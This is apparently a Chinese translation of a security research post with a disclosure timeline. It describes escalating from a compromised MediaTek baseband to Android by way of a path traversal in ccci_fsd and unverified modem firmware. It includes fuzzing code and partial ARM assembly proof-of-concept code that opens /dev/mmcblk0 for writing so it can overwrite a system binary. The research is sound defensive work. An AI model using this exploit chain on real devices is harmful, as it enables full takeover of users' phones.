阻力最小的路径-联发科设备上从无线基带到应用处理器的权限提升

原文:https://comsecuris.com/blog/posts/path_of_least_resistance/
翻译: softs.im

介绍

当今的移动系统由多个独立但高度互连的处理单元组成,每个处理单元都运行各自的代码。先前的研究已经证明,这些组件,尤其是无线基带处理器,容易受到远程或邻近攻击。在过去的几年中,此类漏洞已在所有主要基带 SoC 供应商的实践中得到证实。入侵基带(在MTK源代码中称为调制解调器或MD)是一种强大的攻击,因为它可以访问通过调制解调器的所有数据,同时当前的保护机制几乎无法检测到。然而,它在持久性和实用性方面有其局限性:显然,这种入侵无法访问客户端加密的数据或通过其他渠道传输的数据。

这些类型的攻击演变的自然而然的下一步就是提升代码执行,并入侵其他处理单元,最重要的是应用处理器(AP)。通过其他组件攻击AP的优势在于,它们可以提供审核较少,安全性较低的攻击面。在应用处理器上运行的操作系统通常配备有不断改进的现代防御和漏洞利用缓解机制,以提高利用成本。相反,其他嵌入式组件(例如不易暴露于最终用户和传统的攻击媒介的蜂窝基带)在历史上通常很少受到安全社区和供应商的审查。

这项研究旨在通过对采用联发科芯片组的HTC One M9 +手机进行案例研究,并假设3G调制解调器受到入侵, 从而提供一种评估和审核不同处理单元之间接口的方法。首先,探索调制解调器与其他组件之间的通信通道,并研究负责加载基带固件的Android内核驱动程序。在介绍了一般架构和通信环境之后,提供了一些示例,用于评估使用调制解调器数据的用户空间应用程序的漏洞。这些示例包括手动调查(剖析远程文件系统驱动程序)和自动发现(模糊攻击供应商RIL)。此外,我针对远程文件系统驱动程序中发现的路径遍历漏洞开发了概念证明漏洞利用(PoC)。 PoC可用于从受入侵的基带接管Android系统。我将指导您完成PoC及其开发步骤,包括MTK基带固件的逆向工程过程。最后,为了完善漏洞利用链,我还将说明如何模糊攻击基带固件GSM协议栈的目标文件。

自这项研究开展以来,来自Google Zero项目的Gal Beniamini发表了一篇出色的文章,内容涉及入侵Broadcom的Wi-Fi芯片并增强对应用处理器的访问。他的工作还进一步表明,这些不是孤立的案例,也不是特定于某些供应商的案例。而是它们是现代(移动)操作系统中设计问题的示例,即OS-es(操作系统)固有地信任其他处理组件的意图和完整性,并且很少采取防御措施。

这项研究是在我在Comsecuris的三个月实习期间进行的,事实证明这是对移动平台低级安全问题的令人兴奋的介绍。在此,我要感谢拉尔夫·菲利普·韦恩曼(Ralf-Philipp Weinmann),尼科·戈德(Nico Golde)和丹尼尔·科马罗米(Daniel Komaromy)所提供的难得的机遇,以及他们在整个研究过程中提供的宝贵见解。


披露时间表

2016年11月14日-向MTK披露了漏洞(多次请求后无响应)
2016年11月14日-向HTC披露漏洞
2016年11月18日-向Google披露了漏洞(因为Lava Pixel手机也受到影响)
2016年11月28日-HTC确认已通知供应商
2016年12月6日-HTC报告此问题已修复并已部署到产品线
2017年2月10日-Google要求进一步澄清,此后一直未回应(问题仍未解决)

我无法验证联发科技如何解决该问题,他们是否将修复程序发布给所有客户,以及这些修复程序是否已将其植入现场设备。


联发科技架构设计

研究的第一步是收集有关基带处理器和平台底层架构的知识。 HTC One M9 +出厂附有MediaTek MT6795T SoC(代号Helio X10),其中包含八核应用处理器(Cortex A53 ARMv8)和集成调制解调器CPU。不幸的是,与竞争对手(高通的Snapdragon和三星的Shannon芯片组)相比,MTK芯片在安全研究领域的关注度较低。泄漏的MTK数据表(金瓜是不同或较旧的芯片MT6595,MT6782等)很多,其中包含SoC布局的高级概述。此外,Markus Vervier还撰写了一篇有关 主动克隆移动身份攻击的文章,并提供了有关Mediatek调制解调器固件的更多详细信息。

根据MTK文档,调制解调器系统由DSP和ARMv7 Cortex-R4 MCU组成。两者都与应用处理器位于同一芯片内。 DSP实现了蜂窝基带栈的物理层,因此不在本文的讨论范围之内(当我谈论调制解调器或基带处理器时,我指的是MCU)。 ARMv7内核运行基带固件,并实现不同的蜂窝数据链路和网络层协议。

为了从调制解调器的角度建立可能的攻击面,我们需要发现并了解AP与MD之间的各种通信通道。我们还需要确定AP端的各个软件组件,这些组件消耗来自调制解调器的数据。一个开始寻找的好地方是CCCI(Cross Core Communication Interface跨核心通信接口)内核驱动程序,它负责基带处理器的管理和监督以及AP和MD之间的数据交换。大量底层Android内核源代码(包括其驱动程序)是公开可用的。可以从HTC网站下载源代码。相关文件位于驱动程序
/ misc/ mediatek / eccci /

drivers / misc / mediatek / [dual_] ccci / 目录中,作为内核源代码树的一部分。

CCCI驱动程序包括CCIF子系统,该子系统包含用于在应用程序处理器和调制解调器之间建立低级通信接口的代码。这包括初始化UART线(主要用于传输AT命令和音频数据),以及设置用于交换数据和控制命令的共享存储区。共享内存分为多个子区域,这些子区域专用于某些任务,用于传输各种IPC命令,调制解调器日志条目,远程文件等。这些存储区中的每个存储区都分为一个单独的发送和接收通道,对它们的访问由专用信号区控制。信号区域用作一种流或访问控制通道,以指示共享存储缓冲区中何时有新数据可用,或者另一方何时已接收到新数据。

CCCI驱动程序的其余部分通过其自己的环形缓冲区实现提供对这些通道(包括共享内存和UART通道)的统一访问。这些环形缓冲区通过一组提供IOCTL系统调用处理程序的字符驱动程序公开给用户空间Mediatek二进制文件。图1描述了这种架构,包括CCCI驱动程序的调制解调器端。有关调制解调器的管理及其数据处理的大多数逻辑是在用户空间应用程序中实现的。内核驱动程序仅充当通信接口(顾名思义),控制调制解调器和 AP 之间的通信通道。

图 1:CCCI 概述

内核驱动程序的另一个主要职责是基带 MCU 的实际设置和启动。 此任务由用户空间 ccci_mdinit 二进制文件(/vendor/bin/ccci_mdinit)启动和监督,但由驱动程序执行。 初始设置和首次启动涉及以下步骤:

初始化硬件
填充调制解调器控制结构(包括共享内存、调制解调器 ROM 和 RAM 的内存地址)并注册回调
注册调制解调器并配置其内存区域
当实际启动被触发时:
固件镜像加载完毕(这个稍后会详细讨论)
调制解调器已开机
调制解调器已启动
MPU保护已设置
运行时数据发送到调制解调器

图 2:调制解调器启动

对我们来说最感兴趣的部分是 CCCI 驱动程序如何为调制解调器设置内存。应用处理器的部分物理内存被保留给调制解调器作为RAM、ROM和芯片间通信的共享内存。基带固件映像加载到 ROM 区域,并将其部分(主要是数据部分)加载到 RAM 中。下面是如何为这些区域设置调制解调器处理程序和内存保护的代码片段(实际的保护标志将在稍后讨论)。

void ccci_config_modem(struct ccci_modem *md)
{
    //...

    // Get memory info
	get_md_resv_mem_info(md->index, &md_resv_mem_addr, &md_resv_mem_size, &md_resv_smem_addr, &md_resv_smem_size);
	// setup memory layout
	// MD image
	md->mem_layout.md_region_phy = md_resv_mem_addr;
	md->mem_layout.md_region_size = md_resv_mem_size;
	md->mem_layout.md_region_vir = ioremap_nocache(md->mem_layout.md_region_phy, MD_IMG_DUMP_SIZE); // do not remap whole region, consume too much vmalloc space 
	// DSP image
	md->mem_layout.dsp_region_phy = 0;
	md->mem_layout.dsp_region_size = 0;
	md->mem_layout.dsp_region_vir = 0;
	// Share memory
	md->mem_layout.smem_region_phy = md_resv_smem_addr;
	md->mem_layout.smem_region_size = md_resv_smem_size;
	md->mem_layout.smem_region_vir = ioremap_nocache(md->mem_layout.smem_region_phy, md->mem_layout.smem_region_size);
	memset(md->mem_layout.smem_region_vir, 0, md->mem_layout.smem_region_size);
    //...
}

void ccci_set_mem_access_protection(struct ccci_modem *md)
{
    //...
	rom_mem_phy_start = (unsigned int)md_layout->md_region_phy;
	rom_mem_phy_end   = ((rom_mem_phy_start + img_info->size + 0xFFFF)&(~0xFFFF)) - 0x1;
	rw_mem_phy_start  = rom_mem_phy_end + 0x1;
	rw_mem_phy_end	  = rom_mem_phy_start + md_layout->md_region_size - 0x1;
	shr_mem_phy_start = (unsigned int)md_layout->smem_region_phy;
	shr_mem_phy_end   = ((shr_mem_phy_start + md_layout->smem_region_size + 0xFFFF)&(~0xFFFF)) - 0x1;
	
	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD ROM region<%d:%08x:%08x> %x\n", 
                              	rom_mem_mpu_id, rom_mem_phy_start, rom_mem_phy_end, rom_mem_mpu_attr);
	emi_mpu_set_region_protection(rom_mem_phy_start,	  
									rom_mem_phy_end,      
									rom_mem_mpu_id,       
									rom_mem_mpu_attr);

	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD R/W region<%d:%08x:%08x> %x\n", 
                              	rw_mem_mpu_id, rw_mem_phy_start, rw_mem_phy_end, rw_mem_mpu_attr);
	emi_mpu_set_region_protection(rw_mem_phy_start,		  
									rw_mem_phy_end,       
									rw_mem_mpu_id,        
									rw_mem_mpu_attr);

	CCCI_INF_MSG(md->index, TAG, "MPU Start protect MD Share region<%d:%08x:%08x> %x\n", 
                              	shr_mem_mpu_id, shr_mem_phy_start, shr_mem_phy_end, shr_mem_mpu_attr);
	emi_mpu_set_region_protection(shr_mem_phy_start,	  
									shr_mem_phy_end,      
									shr_mem_mpu_id,       
									shr_mem_mpu_attr);
    //...
}

这种设置表明外部存储器(DRAM)通过多端口存储器控制器在 AP 和 MD 之间共享,但它们对存储器有不同的视角。感兴趣的读者可以在本文中了解有关 SoC 的不同共享内存解决方案的更多信息。基带 MCU 有自己的地址空间,但是,共享内存可以在两侧重新映射到同一地址。在我们的例子中,地址是不同的:共享内存在调制解调器端映射到常量 0x40000000 地址,而在 AP 端保留在原始物理地址。AP 使用该物理地址和重新映射的调制解调器地址之间的偏移量来调整写入共享内存的不同指针,因为它们在调制解调器端被视为绝对内存地址。在同一函数中,ROM 也被重新映射到调制解调器的零地址。

remainder = smem_offset % 0x02000000;
md->mem_layout.smem_offset_AP_to_MD = md->mem_layout.smem_region_phy - (remainder + 0x40000000);
set_md_smem_remap(md, 0x40000000, md->mem_layout.md_region_phy + (smem_offset-remainder), invalid); 
CCCI_INF_MSG(md->index, TAG, "AP to MD share memory offset 0x%X", md->mem_layout.smem_offset_AP_to_MD);

set_md_rom_rw_mem_remap(md, 0x00000000, md->mem_layout.md_region_phy, invalid);

关键要点是基带 RTOS 的 ROM 和 RAM 存在于应用处理器的内存中,因此AP可以访问它。AP 作为 MD 的一种主机,可以对调制解调器进行电源循环(power-cycle)并访问其某些寄存器以设置初始内存映射。这意味着内核模块可用于检索调制解调器结构的句柄,读取这些内存区域的地址并转储其内容。以下是此类工具的输出:

Sending ioctl: 8008d200
[md_dump] modem 0 info MD:lwg*MT6795_S00**2015/05/05 18:19*Release
AP:lwg*MT6795E1*08000000 (MD)07a00000

[md_dump] modem 1 info
[md_dump] modem 2 info
[md_dump] modem 3 info
[md_dump] modem 4 info
[md_dump] modem 5 info

Sending ioctl: 8008d201
[md_dump] driver used by modem: ECCI@
Sending ioctl: 8008d202
[md_dump]----dumping modem info----
[md_dump] Modem 0 at: ffffffc0a6848000
[md_dump] Rom:
[md_dump]       Phys start: e8000000
[md_dump]       Virt start: ffffff8000792000
[md_dump]       size: 8c3aac
[md_dump] Ram:
[md_dump]       Phys start: e88d0000
[md_dump]       Virt start: ffffff8001060000
[md_dump]       size: 7730000
[md_dump] Shm:
[md_dump]       Phys start: f0000000
[md_dump]       Virt start: ffffff8000800000
[md_dump]       size: 200000
[md_dump]       offset to MD: b0000000
[md_dump] CCIF base: 0
[md_dump] SIM type: eeeeeeee
[md_dump]----End of Dump----

要转储这些内存区域的实际内容,必须使用物理地址,因为它们仅部分存在于内核的虚拟地址空间中。如果我们希望访问 RAM,则还需要执行一步,因为它受到外部存储器接口 (EMI) MPU 的保护,不受 AP 的影响。可以通过调用ccci_clear_md_region_protection 例程来删除此保护,该例程会擦除调制解调器内存区域中的 MPU 保护。借助相同的 内核模块,/dev/mem可以监视调制解调器和 AP 之间的通信并注入任意命令。

寻找漏洞

现在我们已经大致了解了调制解调器控制哪些类型的数据以及如何处理这些数据,现在是时候寻找可用于获得代码执行的错误了。CCCI 内核驱动程序是一个诱人的目标,因为其中的漏洞可能会授予对 Android 系统的完全控制权。然而,它主要充当调制解调器和用户空间应用程序之间的网关,而不处理大部分数据,这显着减少了攻击面。当然,这并不能保证内核驱动程序中没有漏洞,但我决定将注意力集中在用户空间应用程序上,因为它们似乎是更容易的目标。

在进入用户空间之前,只有一个容易实现的目标必须进行研究。对于这种共享内存模型,如果 EMI MPU 配置不正确,调制解调器可能会写入内核地址空间,这很容易导致入侵。我们来仔细看看EMI MPU保护是如何设置的(只展示了源码中的相关部分):

#define SET_ACCESS_PERMISSON(d3, d2, d1, d0) (((d3) << 9) | ((d2) << 6) | ((d1) << 3) | (d0))

rom_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, SEC_R_NSEC_R, SEC_R_NSEC_R);
rw_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, FORBIDDEN);
shr_mem_mpu_attr = SET_ACCESS_PERMISSON(FORBIDDEN, FORBIDDEN, NO_PROTECTION, NO_PROTECTION);			
ap_mem_mpu_attr = SET_ACCESS_PERMISSON(NO_PROTECTION, FORBIDDEN, SEC_R_NSEC_R, NO_PROTECTION);

CCCI_INF_MSG(md->index, TAG, "MPU Start protect AP region<%d:%08x:%08x> %x\n",
                            ap_mem_mpu_id, kernel_base, (kernel_base+dram_size-1), ap_mem_mpu_attr); 
emi_mpu_set_region_protection(kernel_base,
                              (kernel_base+dram_size-1),
                              ap_mem_mpu_id,
                              ap_mem_mpu_attr);

泄露的 MTK 文件对破译我们在这里看到的内容有很大帮助。
域 0 被标识为应用处理器域,
域 1 专用于调制解调器 MCU,
而域 2 控制 DSP,
最后域 3 与多媒体引擎相关联。

考虑到这些信息,我们可以看到 MD ROM 地址范围可由 AP 和 MD 在安全模式下读取,RAM 只能由调制解调器访问,并且共享内存可供两者使用。不幸的是,物理 DRAM 的其余部分(从 Android 内核基础开始)只能由 MD 读取,因此无法直接覆盖内核。

如图 1 所示,有相当多的用户空间应用程序使用调制解调器服务。审计所有这些是一项非常艰巨的任务,因为其中一些非常大,并且源代码通常不可用。由于实习和研究的时间有限,我决定调查两名最有前途的候选者。

无线接口层 (RIL) 守护进程负责 Android 电话服务和调制解调器硬件之间的消息传递。它包括供应商 RIL 部分,该部分在 Android RIL 和专有调制解调器接口之间提供供应商特定的粘合代码。其职责包括发送 未经请求的命令。这些命令由调制解调器在某些事件上启动,并由供应商 RIL 库解析。这些命令的结构符合传统的 Hayes AT 命令格式,并带有专有扩展,这些扩展在细节上可能会变得相当复杂。这意味着调制解调器可以在任意时间发送受控数据,这些数据将由供应商 RIL 实现解析为 AT 命令。因此,RIL 库是模糊测试的绝佳目标。

第二个有希望的候选者是ccci_fsd应用程序,它为调制解调器提供远程虚拟文件系统来存储持久配置文件。调制解调器没有自己的文件系统。此外,它不能直接访问任何非易失性存储器。这使得需要在调制解调器重新启动后保留的配置参数必须存储在 AP 端。二进制文件ccci_fsd和 CCCI 内核驱动程序一起提供 NVRAM 文件系统 API,调制解调器使用该 API 来访问/data/nvram/mdAP 文件系统上的文件。此类文件系统实现中的一个常见错误是路径字符串的清理不当,导致路径遍历漏洞。ccci_fsd通过手动对二进制文件中处理打开文件的部分进行逆向工程,可以轻松验证此类漏洞。

对供应商 RIL 进行模糊测试

MTK RIL 实现是专有的,但是之前版本的源代码已被泄露。乍一看,很明显 MTK 实现紧密遵循 Android参考 RIL。这是个好消息,因为这意味着大多数有关 RIL 的公开文档都适用于我们的目标。下图说明了通常如何处理未经请求的命令以及调用哪些函数。

图 3:RIL 中的命令流程

在设备上,供应商 RIL 在库中实现mtk-ril.so,就像参考实现一样,它在函数中接收未经请求的命令。读取器循环最初从设备读取,或者如果使用 CMUX多路复用,则从应用程序提供的伪终端之一读取。可以按照 Fabien Sanglard 的文章中概述的步骤设置中间人伪终端来监视和修改这些通信通道。readerLoop /dev/ttyC0gsm0710muxd/dev/ttyC0

读取器循环仅需要通道描述作为参数,该参数确定从何处读取命令以及在何处分派命令。对于模糊测试,我们可以设置此通道描述符来读取STDIN而不是 PTY 设备,然后将命令分派到常用处理程序进行解析。设置频道非常简单。以下是相关代码的摘录(完整的 AFL 包装器可在此处获取):

memset(&channel, 0, sizeof(channel));
channel.fd = STDIN_FILENO;
channel.ATBufferCur = channel.ATBuffer;
channel.myName = "RIL_CMD_READER_1";
channel.id = 1;
channel.unsolHandler = (libBase + 0x10AD0); //onUnsolicited
channel.readerClosed = 0;
channel.responsePrefix = NULL;
channel.smsPDU = NULL;
channel.p_response = NULL;
channel.tid_reader = syscall(SYS_gettid);

// call reader loop
printf("[INFO] Starting the event handler\n");
readerLoop = (libBase + 0x2f020);
(*readerLoop)((void*)&channel);

在 AFL 驱动我们的目标之前还存在一个问题:readerLoop无限循环中的读取命令,这对于使用 AFL 进行模糊测试来说很不方便。作为解决方法,我们在循环末尾修补一条指令,以便读取器在处理命令后返回。事后看来,跳过读取器循环并直接调用未经请求的处理程序,向其提供 AFL 输入和虚假通​​道描述可能会更容易。

由于这项研究的时间有限,我无法广泛运行模糊器。尽管如此,我还是遇到了一些有希望的崩溃,这些后续工作还有待将来完成。

手动分析 ccci_fsd 二进制文件

如前所述,ccci_fsd 程序用于为调制解调器提供对持久存储的访问。CCCI 驱动程序用于传输请求并随后读取或写入数据,但最终执行 AP 系统上的文件操作的是 ccci_fsd 用户空间程序。Mediatek 文档进一步详细介绍了这一概念。

图 4:使用 CCCI 进行 NVRAM 文件传输

大量 Android 日志消息有助于二进制文件的逆向工程过程。快速浏览一下这些字符串就知道,传统的文件系统 API 是通过通常的读、写、打开、关闭、查找和删除操作来实现的。我们可以设置一个LD_PRELOAD钩子来监视通信(或者只是strace在应用程序上运行)并观察用于通过ccci_fs字符设备传输文件系统 API 请求和响应的自定义协议:

00000000  00 00 00 00 5c 00 00 00  0e 00 b8 04 00 00 00 00  |....\...........|
00000010  01 10 00 00 02 00 00 00  36 00 00 00 5a 00 3a 00  |........6...Z.:.|
00000020  5c 00 4e 00 56 00 52 00  41 00 4d 00 5c 00 4e 00  |\.N.V.R.A.M.\.N.|
00000030  56 00 44 00 5f 00 44 00  41 00 54 00 41 00 5c 00  |V.D._.D.A.T.A.\.|
00000040  4d 00 54 00 34 00 41 00  5f 00 30 00 30 00 31 00  |M.T.4.A._.0.0.1.|
00000050  00 00 00 00 04 00 00 00  00 04 01 20 00 00 00 00  |........... ....|

如上面的通信跟踪摘录所示,API 使用 DOS 样式的路径格式,其中包含驱动器号、反斜杠分隔符以及大写宽字符文件和目录名。在 Android 系统上快速搜索该文件会发现它位于/data/nvram/md/NVRAM/NVD_DATA/MT4A_001一组其他类似的二进制配置文件下。接下来,我们需要弄清楚 DOS 风格的路径如何转换为 Unix 路径以及如何对其进行清理。由于日志字符串数量较多且代码简单,在 IDA 中找到 open 函数非常简单:

图 5:IDA Pro 中的 FS_Open

该w16toc_change_path_delim函数将接收到的路径字符串复制到堆栈缓冲区,同时将其从宽字符转换为 8 位字符表示形式,并用正斜杠替换反斜杠。之后,检查前两个字符是否包含任何允许的驱动器号(Z:、X:、Y: 和 W:)。如果匹配,则对路径的其余部分和关联的前缀路径执行长度检查。W: 驱动器的处理方式略有不同,因为它用于检索 DSP 固件映像。其他驱动器号映射到某些路径。例如 Z:映射到/data/nvram/md. 最终的路径字符串是通过连接接收到的路径和前缀并将结果传递给open系统调用来生成的。

利用MTK路径遍历漏洞

这意味着根本没有输入清理,因此调制解调器可以获得句柄并可能覆盖应用程序ccci_fsd有权访问的 AP 系统上的任何文件。作为示例,路径Z:..\..\..\system\bin\ls变为/data/nvram/md/../../../system/bin/ls. 但是,系统分区是只读的。该ccci_fsd守护进程以用户身份运行radio,该用户是组的一部分system,并且还具有 SELinux 强制执行的一些进一步限制。转储编译后的/sepolicy文件(通过sesearch在其上运行)表明该二进制文件仅限于访问 nvram 数据文件、ccci 驱动程序和配置文件,以及/dev/block. 过滤这些设备的列表以查找可以由该system组写入的设备会产生以下结果:

brw-rw---- root     system   179,   0 2016-08-31 11:00 mmcblk0
brw-rw---- root     system   179,  32 2016-08-31 11:00 mmcblk0boot0
brw-rw---- root     system   179,  64 2016-08-31 11:00 mmcblk0boot1
brw-rw---- root     system   179,   1 2016-08-31 11:00 mmcblk0p1 -> proinfo
brw-rw---- root     system   179,  13 2016-08-31 11:00 mmcblk0p13 -> secro
brw-rw---- root     system   179,  14 2016-08-31 11:01 mmcblk0p14 -> para
brw-rw---- root     system   179,   2 2016-08-31 11:00 mmcblk0p2 -> nvram
brw-rw---- media    system   259,   0 2016-08-31 11:00 mmcblk0p32 -> control
brw-rw---- root     system   259,   8 2016-08-31 11:00 mmcblk0p40 -> boot
brw-rw---- root     system   259,   9 2016-08-31 11:00 mmcblk0p41 -> recovery
brw-rw---- root     system   179,   8 2016-08-31 11:00 mmcblk0p8 -> seccfg

非常好!列表的第一项是内部闪存的原始设备,其中包含系统映像(包括系统分区)。

这意味着调制解调器能够打开mmcblk0原始设备,从而在设备中搜索可执行文件(最好是以 root 身份运行的可执行文件)的二进制数据,并用任意代码覆盖它,从而危及 Android 系统。为了在实践中测试这一理论,我们需要检查调制解调器 RTOS,发现如何在调制解调器内部使用 NVRAM API,最后修改固件以创建概念验证漏洞。

分析调制解调器固件

有多种方法可以获取调制解调器固件映像。如前所述,ROM 映像存在于 AP 内存中并且可以转储。固件映像文件也存在于 AP 文件系统中,因为它是由 CCCI 内核驱动程序加载的。我决定首先看一下加载驱动程序的代码

从架构角度来看,固件加载的工作原理如下:

首先,检索并打开image
接下来,检查其签名
最后,image被解密并复制到保留的ROM存储器中
这听起来不错,但是,如果我们仔细观察,我们可以发现它的多个问题。由于某种原因,仅image的前 0x18000 字节被加密,而其余部分以明文形式存储。仅此一点不会成为问题,但这里真正的问题是用于验证image并由 Mediatek 签名的哈希值:它仅通过标头计算!
这使得实际的固件数据没有任何形式的完整性保护。因此,CCCI 驱动程序可以毫无问题地加载修改或损坏的图像。

作为感兴趣的读者的参考,实际的image格式由image头、密码头、实际数据、验证哈希、签名和扩展头组成。

图 6:固件映像标头

为了从设备上存储的image中获取原始image(如/system/etc/firmware/modem_1_lwg_n.img),我们可以编写一个程序来删除标头和标尾并解密image。固件使用 AES-128 加密,密钥在内核中静态编译和编码。它们可以从内核内存中转储,也可以使用内核模块sec_aes_init来劫持 ( https://github.com/Comsecuris/mtk-baseband-sanctuary/tree/master/mtk_kernel_sources/masp/asf/core/sec_aes.c#L141 ) 和lib_aes_dec ( https://github.com/Comsecuris/mtk-baseband-sanctuary/tree/master/mtk_kernel_sources/masp/asf/core/alg_aes_export.c#L73 ) 例程并随后解密image。

现在我们已经获得了原始image,我们可以将其加载到 IDA 中进行手动分析。一些 Mediatek 调试实用程序在固件映像的逆向工程过程中提供了巨大的帮助。首先,在下有可用的调制解调器跟踪日志文件/mnt/shell/emulated/0/mtklog。这些有助于跟踪固件执行流程。默认情况下仅报告关键事件,但可以使用配置文件控制日志级别/system/etc/mtklog-config.prop以包括非关键事件。另一个有用的实用程序是/sys/devices/virtual/misc/md32/md32_ocd虚拟设备,它为调制解调器提供远程调试功能。最后,还有一个可执行文件(也称为md32_ocd),它实现基本功能,例如设置和读取调制解调器寄存器、读取和写入内存以及打开和关闭设备电源。不幸的是,它似乎在生产设备上默认被禁用,并且请求的操作会默默失败。我找不到重新启用它的方法,并且我不确定这是否可能。它可能会因保险丝熔断而永久禁用,但更可能的是,它可以通过某些配置设置或内核 API 启用,因为相关驱动程序已编译到内核中。

在众多调试工具中,最有价值的是保存在/mnt/shell/emulated/0/mtklog/mdlog1/MDLog1_*date*/DbgInfo_*modem-version*. 该文件包含固件映像中出现的所有函数名称和相应地址。此外,函数地址的奇偶校验位表明给定函数是在 ARM 还是 Thumb-2 模式下编译。我编写了一个IDA python 脚本,用于解析该文件并定义所有函数,并为我们提供一个完全填充的 IDB(结果见图 7a 和 7b)。T可以设置段寄存器在ARM和thumb模式之间切换,然后可以定义代码和函数。

如果这还不够,MT6795 调制解调器的部分源代码出于未知原因公开可用。有了所有这些资源,我们可以减少逆向工程工作,并且仍然形成调制解调器系统的相对完整的image。MD 固件是 Nucleus RTOS 映像,并使用定制版本的 CCCI 驱动程序进行芯片间通信。就像在 AP 端一样,驱动程序可以分为两个主要组件:下层CCCI-CCIF负责提供共享内存通道的接口,而驱动程序的另一部分提供对 Nucleus 的 CCCI 服务的访问小任务。

该固件最有趣的部分是其有关调制解调器如何从 AP 系统检索文件的 NVRAM 实现细节。这对于进一步开发 PoC 很有用。调制解调器的 NVRAM API 依赖于名为 的 Nucleus 驱动程序的服务ccci_fs,该驱动程序用于访问远程文件系统。ccci_fs_apis.c 实际的远程文件系统 API 在源文件中实现,它包含与我们在应用程序中观察到的类似的功能ccci_fsd。仔细观察定义的函数可以发现传统的文件系统 API,如下所示:

kal_int32 MD_FS_Open(const WCHAR * FileName, kal_uint32 Flag);
kal_int32 MD_FS_Close(FS_HANDLE FileHandle);
kal_int32 MD_FS_Read(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Read);
kal_int32 MD_FS_Write(FS_HANDLE FileHandle, void *DataPtr, kal_uint32 Length, kal_uint32 *Written);
kal_int32 MD_FS_Seek(FS_HANDLE FileHandle, kal_int32 Offset, kal_int32 Whence);

就像在ccci_fsd二进制文件中一样MD_FS_Open,调用需要一个宽字符字符串作为文件名。填充到参数结构体中,通过共享内存接口传递给AP侧。这些参数的格式与从LD_PRELOAD-edccci_fsd应用程序截获的数据中看到的内容相关。API 的其余部分设计类似,每个函数都填充相同的结构,包含所请求操作的命令代码和参数。命令代码标识所请求的操作,参数包含相关数据,例如文件名或读取或写入的字节。

潜在的后门功能

在继续编写实际的概念证明之前,这里必须提到一件事。在查看 Helio X10 调制解调器源代码时,我偶然发现了一个看起来非常可疑的源文件,名为rmmi_ats.c. 它实现自定义 AT 命令,触发“遥测”收集例程,例如捕获键盘和触摸事件、屏幕的当前图片或手机摄像头的输出。它甚至能够模拟按键并提供许多其他类似的功能,所有这些功能的意图都值得怀疑。这些功能可以通过向手机发送相关的 AT 命令从 ISP 端远程执行。尽管它没有编译到所研究设备的固件映像中,但它仍然突出了受损基带的潜在功能。

这进一步强调了此类平台的硬件组件(无论是移动设备、嵌入式设备还是任何其他设备)之间严格安全差距的重要性,并提出了人们可以在多大程度上信任第三方闭源应用程序的问题。在得出结论之前,我想强调一下,这些源文件来自互联网,来源不明,它们绝对不是官方的,不能被视为正版。尽管如此,其他具有类似芯片组的联发科技设备在生产中是否包含此代码(尤其是来自中国市场的)仍然是一个有趣的研究问题。

概念验证利用

回想一下,该研究的最初假设是基带芯片首先会受到损害,正如其他研究人员(包括 Comsecuris)之前所证明的那样。为了模拟这种被入侵,我们可以直接修改和修补固件映像以运行我们的概念验证代码。这是可能的,因为前面提到的缺乏适当的安全启动。至少,CCCI 驱动程序无法验证加载图像的完整性,因此在实践中提供了这种能力。我们所需要的只是一个好的受害者函数,它可以被我们的代码覆盖以扩展固件的功能。理想的候选者可以从 AP 触发,并且不会干扰调制解调器的正常运行(太多)。这些函数就是 AT 命令处理程序本身。

满足这些条件的受害者是rmmi_vts_hdlr处理程序,它在收到AT+VTS命令后执行。修改此函数的好处是它位于固件映像的明文部分。因此,开发PoC时无需费心对image文件进行解密和加密。

另一个有用的例程是rmmi_write_to_uart,它可用于通过与传输 AT 命令相同的串行线路向 AP 发送消息。通过允许从调制解调器发送任意数据,这为我们提供了一些急需的调试功能。要在 AP 端接收此类数据,gsm0710muxd可以终止该进程,并将串行控制台连接到设备/dev/ttyC0,这使我们可以完全控制通信。通过在此串行线路上发送命令,可以在调制解调器上触发被覆盖的 VTS 处理程序的执行AT+VTS。

现在已经探索了所有原语,是时候将实际的概念证明拼凑在一起了。为了在 AP 上执行代码,我们需要/dev/mmcblk0在调制解调器上打开设备,然后大致查找系统分区开始的位置。接下来,我们在原始分区上搜索并覆盖目标二进制文件。可以精确地查找受害者可执行文件的偏移量,但实际上该地址可能因设备而异,因此先验已知该地址并不是一个现实的假设。即使不知道确切的地址,也可以逐块读取设备,同时在块数据中搜索最终识别目标二进制文件的特定二进制序列。由于文件总是从块边界开始,因此块内序列的偏移量不会改变,因此该过程变得更加容易。一旦找到受害者二进制文件,就可以用任意数据覆盖它。下次加载到内存时,我们的恶意代码就会运行。

我决定用汇编语言编写 PoC,因为代码相当小,并且需要与固件映像中的现有功能进行低级交互。此处提供了完整的源代码和用于修补图像的脚本,但主要步骤已在本博客文章中介绍。

首先,使用 将恶意路径字符串作为宽字符字符串复制到堆栈中kal_wsprintf。

.set FORMAT_STR, 0x7053b5
.set MMCBLK_PATH, 0x7053b8
.set KAL_WSPRINTF, 0x3ba19f
@ move the path to stack as wchar
mov r0, sp
ldr r1, =FORMAT_STR @%s format string
ldr r2, =MMCBLK_PATH @ Z:../../../dev/mmclkb0
ldr r6, =KAL_WSPRINTF
blx r6

然后以读/写权限打开块设备。

.set RWO_FLAGS, 0x21010400
.set FS_OPEN, 0x103861
@ open the /dev/mmcblk raw device
@ with R/W permissions
mov r0, sp @the path string
ldr r1, =RWO_FLAGS
ldr r6, =FS_OPEN
blx r6
@ store the returned handler
str r0, [sp]

我们大约查找设备上系统分区的开头。

.set FS_SEEK, 0x103C39
@ first seek into the middle of mmcblk device
@ that is roughly where system starts
seek:
mov r0, fhl
mov r1, #1
lsl r1, #30
mov r2, #1 @0 begin 1 cur
ldr r6, =FS_SEEK
blx r6

之后,我们开始逐块读取设备并检查它是否包含识别受害者的模式。PoC 查找我为测试而设置的 8 个字符长的常量字符串。这可以更改为目标应用程序(或块)特有的任何二进制序列。

.set FS_READ, 0x103A65
@ keep reading from device until
@ the target is found
mov r5, #0
read:
mov r0, fhl @ file handler
mov r1, sp @ read to the stack
mov r2, #1 @ 512 bytes = 1 block
lsl r2, #9
mov r3, r2 
add r3, sp, r3 @ the number of bytes read
ldr r6, =FS_READ
blx r6

@ check if the read value contains the pattern
@ this is oversimplified
